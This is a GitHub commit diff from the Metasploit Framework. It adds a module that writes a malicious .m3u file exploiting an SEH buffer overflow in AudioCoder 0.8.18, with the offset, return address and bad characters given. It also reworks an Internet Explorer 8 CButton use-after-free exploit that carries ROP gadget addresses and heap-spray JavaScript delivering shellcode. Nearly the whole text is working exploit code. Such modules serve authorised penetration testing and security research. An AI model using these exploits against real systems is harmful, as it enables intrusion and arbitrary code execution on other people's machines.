Skip to content

Commit 2396c26

Browse files
wchen-r7wchen-r7
committed
Landing rapid7#1790 - AudioCoder .m3u bof module
2 parents fe57b9d + 13202a3 commit 2396c26

File tree

2 files changed

+115
-69
lines changed

2 files changed

+115
-69
lines changed

‎modules/exploits/windows/browser/ie_cbutton_uaf.rb

Lines changed: 39 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -120,60 +120,6 @@ def get_target(agent)
120120
return nil
121121
end
122122

123-
def ie8_smil(my_target, p)
124-
125-
case my_target['Rop']
126-
when :msvcrt
127-
case my_target.name
128-
when 'IE 8 on Windows XP SP3'
129-
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
130-
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
131-
when 'IE 8 on Windows Server 2003'
132-
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
133-
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
134-
end
135-
else
136-
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
137-
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
138-
end
139-
140-
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
141-
js_payload = Rex::Text.to_unescape(p)
142-
143-
js = %Q|
144-
unicorn = unescape("#{padding}");
145-
for (i=0; i < 3; i++) {
146-
unicorn += unescape("#{padding}");
147-
}
148-
149-
unicorn += unescape("#{js_payload}");
150-
151-
animvalues = unescape("#{align_esp}");
152-
153-
for (i=0; i < 0xDC/4; i++) {
154-
if (i == 0xDC/4-1) {
155-
animvalues += unescape("#{xchg_esp}");
156-
}
157-
else {
158-
animvalues += unescape("#{align_esp}");
159-
}
160-
}
161-
162-
animvalues += unicorn;
163-
164-
for(i = 0; i < 21; i++) {
165-
animvalues += ";cyan";
166-
}
167-
|
168-
169-
if datastore['OBFUSCATE']
170-
js = ::Rex::Exploitation::JSObfu.new(js)
171-
js.obfuscate
172-
end
173-
174-
return js
175-
end
176-
177123
def junk(n=4)
178124
return rand_text_alpha(n).unpack("V")[0].to_i
179125
end
@@ -286,45 +232,69 @@ def get_payload(t, cli)
286232

287233
def load_exploit_html(my_target, cli)
288234

289-
p = get_payload(my_target, cli)
290-
js = ie8_smil(my_target, p)
235+
case my_target['Rop']
236+
when :msvcrt
237+
case my_target.name
238+
when 'IE 8 on Windows XP SP3'
239+
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
240+
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
241+
when 'IE 8 on Windows Server 2003'
242+
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
243+
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
244+
end
245+
else
246+
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
247+
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
248+
end
291249

292-
html = %Q|
293-
<!doctype html>
250+
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
251+
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))
252+
253+
html = %Q|<!doctype html>
294254
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
295255
<head>
296256
<meta>
297257
<?IMPORT namespace="t" implementation="#default#time2">
298258
</meta>
299259
300260
<script>
301-
function helloWorld()
302-
{
261+
#{js_mstime_malloc}
262+
263+
264+
function helloWorld() {
303265
e_form = document.getElementById("formelm");
304266
e_div = document.getElementById("divelm");
305267
306-
#{js}
307-
308268
for(i =0; i < 20; i++) {
309269
document.createElement('button');
310270
}
311-
e_div.appendChild(document.createElement('button'))
271+
e_div.appendChild(document.createElement('button'));
312272
e_div.firstChild.applyElement(e_form);
313273
314-
e_div.innerHTML = ""
274+
e_div.innerHTML = "";
315275
e_div.appendChild(document.createElement('body'));
316276
317277
CollectGarbage();
318278
319-
try {
320-
a = document.getElementById('myanim');
321-
a.values = animvalues;
279+
p = unescape("#{padding}");
280+
for (i=0; i < 3; i++) {
281+
p += unescape("#{padding}");
282+
}
283+
p += unescape("#{js_payload}");
284+
285+
fo = unescape("#{align_esp}");
286+
for (i=0; i < 55; i++) {
287+
if (i == 54) { fo += unescape("#{xchg_esp}"); }
288+
else { fo += unescape("#{align_esp}"); }
322289
}
323-
catch(e) {}
324-
}
325290
291+
fo += p;
292+
293+
mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
294+
}
326295
</script>
327296
</head>
297+
328298
<body onload="eval(helloWorld())">
329299
<t:ANIMATECOLOR id="myanim"/>
330300
<div id="divelm"></div>

‎modules/exploits/windows/fileformat/audio_coder_m3u.rb

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
include Msf::Exploit::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'AudioCoder .M3U Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
21+
occurs when adding an .m3u, allowing arbitrary code execution with the privileges
22+
of the user running AudioCoder. This module has been tested successfully on
23+
AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'metacom', # Vulnerability discovery and PoC
29+
'juan vazquez' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'OSVDB', '92939' ],
34+
[ 'EDB', '25141' ]
35+
],
36+
'DefaultOptions' =>
37+
{
38+
'EXITFUNC' => 'process'
39+
},
40+
'Platform' => 'win',
41+
'Payload' =>
42+
{
43+
'Space' => 6596,
44+
'BadChars' => "\x00\x5c\x40\x0d\x0a",
45+
'DisableNops' => true,
46+
'StackAdjustment' => -3500,
47+
},
48+
'Targets' =>
49+
[
50+
[ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
51+
{
52+
'Ret' => 0x66011b56, # ppr from libiconv-2.dll
53+
'Offset' => 765
54+
}
55+
]
56+
],
57+
'Privileged' => false,
58+
'DisclosureDate' => 'May 01 2013',
59+
'DefaultTarget' => 0))
60+
61+
register_options(
62+
[
63+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
64+
], self.class)
65+
66+
end
67+
68+
def exploit
69+
buffer = "http://"
70+
buffer << rand_text(target['Offset'])
71+
buffer << generate_seh_record(target.ret)
72+
buffer << payload.encoded
73+
74+
file_create(buffer)
75+
end
76+
end

0 commit comments

Comments
 (0)